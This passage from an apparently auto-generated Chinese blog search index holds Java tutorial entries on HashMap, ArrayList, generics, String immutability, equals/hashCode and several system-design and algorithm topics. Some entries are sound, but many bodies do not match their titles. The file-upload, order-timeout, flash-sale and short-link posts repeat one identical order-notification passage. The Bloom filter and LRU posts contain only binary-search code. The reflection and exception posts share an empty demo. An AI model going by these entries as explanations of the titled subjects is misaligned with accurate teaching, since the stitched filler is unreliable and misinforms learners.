使用分段锁，Java 8 使用 CAS + synchronized</p></li><li><p>锁粒度从段级别降到了节点级别</p></li><li><p>使用红黑树优化链表的查询性能</p></li><li><p>支持原子操作，如 putIfAbsent、computeIfAbsent</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：HashMap 底层结构和扩容过程</title>
      <link href="//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/"/>
      <url>//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：HashMap-底层结构和扩容过程"><a href="#教程：HashMap-底层结构和扩容过程" class="headerlink" title="教程：HashMap 底层结构和扩容过程"></a>教程：HashMap 底层结构和扩容过程</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：ArrayList 扩容机制和使用建议</title>
      <link href="//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/"/>
      <url>//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：ArrayList-扩容机制和使用建议"><a href="#教程：ArrayList-扩容机制和使用建议" class="headerlink" title="教程：ArrayList 扩容机制和使用建议"></a>教程：ArrayList 扩容机制和使用建议</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Java 反射的使用场景和风险</title>
      <link href="//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/"/>
      <url>//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Java-反射的使用场景和风险"><a href="#教程：Java-反射的使用场景和风险" class="headerlink" title="教程：Java 反射的使用场景和风险"></a>教程：Java 反射的使用场景和风险</h1><p>Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Java 异常体系和业务异常设计</title>
      <link href="//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/"/>
      <url>//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Java-异常体系和业务异常设计"><a href="#教程：Java-异常体系和业务异常设计" class="headerlink" title="教程：Java 异常体系和业务异常设计"></a>教程：Java 异常体系和业务异常设计</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Java 泛型的类型擦除到底是什么</title>
      <link href="//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/"/>
      <url>//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Java-泛型的类型擦除到底是什么"><a href="#教程：Java-泛型的类型擦除到底是什么" class="headerlink" title="教程：Java 泛型的类型擦除到底是什么"></a>教程：Java 泛型的类型擦除到底是什么</h1><p>泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。</p><h2 id="泛型解决了什么问题"><a href="#泛型解决了什么问题" class="headerlink" title="泛型解决了什么问题"></a>泛型解决了什么问题</h2><p>没有泛型时，集合里什么都能放：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">List</span> <span class="variable">list</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">Integer</span> <span class="variable">value</span> <span class="operator">=</span> (Integer) list.get(<span class="number">0</span>); <span class="comment">// 运行时报错</span></span><br></pre></td></tr></table></figure><p>使用泛型后，编译期就能发现问题：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> list.get(<span class="number">0</span>);</span><br></pre></td></tr></table></figure><h2 id="类型擦除的影响"><a href="#类型擦除的影响" class="headerlink" title="类型擦除的影响"></a>类型擦除的影响</h2><p>运行时 <code>List&lt;String&gt;</code> 和 <code>List&lt;Integer&gt;</code> 都会被擦除成 <code>List</code>。所以不能这样判断：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 编译不通过</span></span><br><span class="line"><span class="keyword">if</span> (list <span class="keyword">instanceof</span> List&lt;String&gt;) &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Java String 为什么设计成不可变</title>
      <link href="//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/"/>
      <url>//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Java-String-为什么设计成不可变"><a href="#教程：Java-String-为什么设计成不可变" class="headerlink" title="教程：Java String 为什么设计成不可变"></a>教程：Java String 为什么设计成不可变</h1><p>String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。</p><h2 id="不可变是什么意思"><a href="#不可变是什么意思" class="headerlink" title="不可变是什么意思"></a>不可变是什么意思</h2><p>下面的代码看起来像修改了字符串：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">&quot;java&quot;</span>;</span><br><span class="line">name = name + <span class="string">&quot;-blog&quot;</span>;</span><br></pre></td></tr></table></figure><p>实际上原来的 <code>java</code> 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。</p><h2 id="为什么这样设计"><a href="#为什么这样设计" class="headerlink" title="为什么这样设计"></a>为什么这样设计</h2><ul><li>线程安全：多个线程共享同一个字符串，不会互相改坏。</li><li>哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。</li><li>常量池复用：相同字面量可以复用，减少内存浪费。</li></ul><h2 id="什么时候用-StringBuilder"><a href="#什么时候用-StringBuilder" class="headerlink" title="什么时候用 StringBuilder"></a>什么时候用 StringBuilder</h2><p>循环拼接大量字符串时，不要一直用 <code>+</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">StringBuilder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">1000</span>; i++) &#123;</span><br><span class="line">    builder.append(i).append(<span class="string">&#x27;,&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> builder.toString();</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Java 中 equals 和 hashCode 的正确理解</title>
      <link href="//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/"/>
      <url>//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Java-中-equals-和-hashCode-的正确理解"><a href="#教程：Java-中-equals-和-hashCode-的正确理解" class="headerlink" title="教程：Java 中 equals 和 hashCode 的正确理解"></a>教程：Java 中 equals 和 hashCode 的正确理解</h1><p>Java 里判断对象是否相等，不能只看 <code>==</code>。<code>==</code> 比较的是引用地址，<code>equals</code> 通常表示业务意义上的相等。只要重写 <code>equals</code>，一般也要重写 <code>hashCode</code>，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。</p><h2 id="一个最小例子"><a href="#一个最小例子" class="headerlink" title="一个最小例子"></a>一个最小例子</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object o)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span> == o) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">if</span> (!(o <span class="keyword">instanceof</span> User)) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> (User) o;</span><br><span class="line">        <span class="keyword">return</span> Objects.equals(id, user.id);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Objects.hash(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="为什么-hashCode-也要改"><a href="#为什么-hashCode-也要改" class="headerlink" title="为什么 hashCode 也要改"></a>为什么 hashCode 也要改</h2><p>HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Set&lt;User&gt; users = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">System.out.println(users.size()); <span class="comment">// 期望输出 1</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>文件上传服务如何保证稳定</title>
      <link href="//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/"/>
      <url>//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/</url>
      
        <content type="html"><![CDATA[<h1 id="文件上传服务如何保证稳定"><a href="#文件上传服务如何保证稳定" class="headerlink" title="文件上传服务如何保证稳定"></a>文件上传服务如何保证稳定</h1><p>文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>订单超时取消如何实现</title>
      <link href="//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/"/>
      <url>//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="订单超时取消如何实现"><a href="#订单超时取消如何实现" class="headerlink" title="订单超时取消如何实现"></a>订单超时取消如何实现</h1><p>订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>秒杀系统的核心设计思路</title>
      <link href="//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/"/>
      <url>//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="秒杀系统的核心设计思路"><a href="#秒杀系统的核心设计思路" class="headerlink" title="秒杀系统的核心设计思路"></a>秒杀系统的核心设计思路</h1><p>秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>短链接系统如何设计</title>
      <link href="//duan-lian-jie-xi-tong-ru-he-she-ji/"/>
      <url>//duan-lian-jie-xi-tong-ru-he-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="短链接系统如何设计"><a href="#短链接系统如何设计" class="headerlink" title="短链接系统如何设计"></a>短链接系统如何设计</h1><p>短链接系统是一个经典的系统设计题。本文讲它的核心思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>布隆过滤器适合解决什么问题</title>
      <link href="//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/"/>
      <url>//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="布隆过滤器适合解决什么问题"><a href="#布隆过滤器适合解决什么问题" class="headerlink" title="布隆过滤器适合解决什么问题"></a>布隆过滤器适合解决什么问题</h1><p>布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>LRU 缓存淘汰算法动手实现</title>
      <link href="//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/"/>
      <url>//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="LRU-缓存淘汰算法动手实现"><a href="#LRU-缓存淘汰算法动手实现" class="headerlink" title="LRU 缓存淘汰算法动手实现"></a>LRU 缓存淘汰算法动手实现</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>二分查找为什么容易写错</title>
      <link href="//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/"/>
      <url>//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/</url>
      
